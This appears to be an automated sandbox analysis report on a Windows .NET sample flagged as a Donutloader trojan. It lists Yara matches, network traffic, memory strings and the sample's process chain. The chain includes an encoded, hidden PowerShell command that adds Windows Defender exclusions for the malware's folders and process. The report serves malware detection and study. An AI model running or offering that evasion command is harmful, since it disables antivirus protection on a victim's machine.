Source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 65277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:65277 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.txxbiwtbs.exe.4074c50.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 11.2.txxbiwtbs.exe.4024c30.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000000B.00000002.2160867351.0000000006470000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.1821399208.0000000009650000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000000B.00000002.1995844689.0000000002C74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000004.00000002.3204622217.0000000009049000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000003.00000002.1869188121.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.1824447213.000000000A088000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0610D708	0_2_0610D708
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0610FDA8	0_2_0610FDA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06E0D280	0_2_06E0D280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06E0A590	0_2_06E0A590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0711CD28	0_2_0711CD28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0711B368	0_2_0711B368
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07B889D0	0_2_07B889D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07B94288	0_2_07B94288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07B94278	0_2_07B94278
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_09E6D8A0	0_2_09E6D8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_09E50040	0_2_09E50040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_09E50039	0_2_09E50039
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9BB830E9	1_2_00007FFD9BB830E9
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_06D58948	3_2_06D58948
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_06D64288	3_2_06D64288
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_06D64278	3_2_06D64278
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_06D62B4F	3_2_06D62B4F
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07125618	3_2_07125618
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_0712DEAF	3_2_0712DEAF
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_071215B0	3_2_071215B0
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_0712CAE8	3_2_0712CAE8
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07125617	3_2_07125617
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_0712CAD9	3_2_0712CAD9
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07122918	3_2_07122918
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07122908	3_2_07122908
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_075FC628	3_2_075FC628
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_075FA458	3_2_075FA458
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_075FC619	3_2_075FC619
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07A7A590	3_2_07A7A590
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07A7D280	3_2_07A7D280
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07BE9F10	3_2_07BE9F10
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07BE4760	3_2_07BE4760
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07BED337	3_2_07BED337
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07BE5378	3_2_07BE5378
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07BEB6A0	3_2_07BEB6A0
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07BE4AA8	3_2_07BE4AA8
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_08DDD8A0	3_2_08DDD8A0
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_08DC0040	3_2_08DC0040
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_08DC000A	3_2_08DC000A
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07BE0006	3_2_07BE0006
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 3_2_07BE0040	3_2_07BE0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_07BCD708	4_2_07BCD708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08ADCAE8	4_2_08ADCAE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD15B0	4_2_08AD15B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08ADDEAF	4_2_08ADDEAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD2EE0	4_2_08AD2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD5059	4_2_08AD5059
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD2908	4_2_08AD2908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD390B	4_2_08AD390B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD2918	4_2_08AD2918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08ADCAD9	4_2_08ADCAD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD5618	4_2_08AD5618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD2FA2	4_2_08AD2FA2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD2FE4	4_2_08AD2FE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD2F2A	4_2_08AD2F2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD2EE0	4_2_08AD2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AD2F70	4_2_08AD2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08B0D8A0	4_2_08B0D8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AF0006	4_2_08AF0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_08AF0040	4_2_08AF0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A3BCB08	4_2_0A3BCB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A3BA538	4_2_0A3BA538
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A3BCAF9	4_2_0A3BCAF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A819F10	4_2_0A819F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A81D337	4_2_0A81D337
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A815378	4_2_0A815378
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A810040	4_2_0A810040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A814760	4_2_0A814760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A814AA8	4_2_0A814AA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A810007	4_2_0A810007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A81B6A0	4_2_0A81B6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A9BCD28	4_2_0A9BCD28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0A9BB368	4_2_0A9BB368
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_056BD508	11_2_056BD508
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_056BCC2E	11_2_056BCC2E
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_056BD4F9	11_2_056BD4F9
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_056BD698	11_2_056BD698
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_056F4C37	11_2_056F4C37
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_056F4418	11_2_056F4418
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_056F451D	11_2_056F451D
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_056F4408	11_2_056F4408
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_06525254	11_2_06525254
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_06522A5C	11_2_06522A5C
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_065208C0	11_2_065208C0
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_06521B78	11_2_06521B78
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_0652179C	11_2_0652179C
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_06521FA8	11_2_06521FA8
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_083CDDE0	11_2_083CDDE0
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_083B0037	11_2_083B0037
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_083B0040	11_2_083B0040
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 11_2_083CD240	11_2_083CD240

Source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs file.exe
Source: file.exe, 00000000.00000000.1709874025.0000000000DF2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFbaprhuy.exe2 vs file.exe
Source: file.exe, 00000000.00000002.1763526633.00000000033C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000002.1808267831.0000000008F40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAblswvgh.dll" vs file.exe
Source: file.exe, 00000000.00000002.1786708622.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs file.exe
Source: file.exe, 00000000.00000002.1767868411.000000000478C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs file.exe
Source: file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFbedztzxbbe.dll" vs file.exe
Source: file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs file.exe
Source: file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs file.exe
Source: file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs file.exe
Source: file.exe, 00000000.00000002.1761959990.000000000123E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs file.exe
Source: file.exe, 00000000.00000002.1767868411.0000000004378000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFbedztzxbbe.dll" vs file.exe
Source: file.exe, 00000000.00000002.1763526633.000000000368B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenametaskschd.dll.muij% vs file.exe
Source: file.exe, 00000000.00000002.1763526633.000000000368B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $fq,\\StringFileInfo\\040904B0\\OriginalFilename vs file.exe
Source: file.exe, 00000000.00000002.1763526633.0000000003646000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameFbaprhuy.exe2 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 11.2.txxbiwtbs.exe.4074c50.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 11.2.txxbiwtbs.exe.4024c30.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000000B.00000002.2160867351.0000000006470000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.1821399208.0000000009650000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000000B.00000002.1995844689.0000000002C74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000004.00000002.3204622217.0000000009049000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000003.00000002.1869188121.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.1824447213.000000000A088000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: 0.2.file.exe.459c2e8.6.raw.unpack, OVAC5LcmtgojpkhnNKb.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, OVAC5LcmtgojpkhnNKb.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, OVAC5LcmtgojpkhnNKb.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.459c2e8.6.raw.unpack, OVAC5LcmtgojpkhnNKb.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.file.exe.6f80000.15.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.file.exe.6f80000.15.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.file.exe.6f80000.15.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.file.exe.6f80000.15.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.file.exe.6f80000.15.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.file.exe.6f80000.15.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.file.exe.6f80000.15.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.file.exe.6f80000.15.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.file.exe.6f80000.15.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.file.exe.6f80000.15.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.evad.winEXE@9/15@2/2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06E078D4 AdjustTokenPrivileges,

0_2_06E078D4

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\RegisteredChannels

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7756:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\210888
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8164:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xiv0j5rn.pb1.ps1

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	ReversingLabs: Detection: 13%
Source: file.exe	Virustotal: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
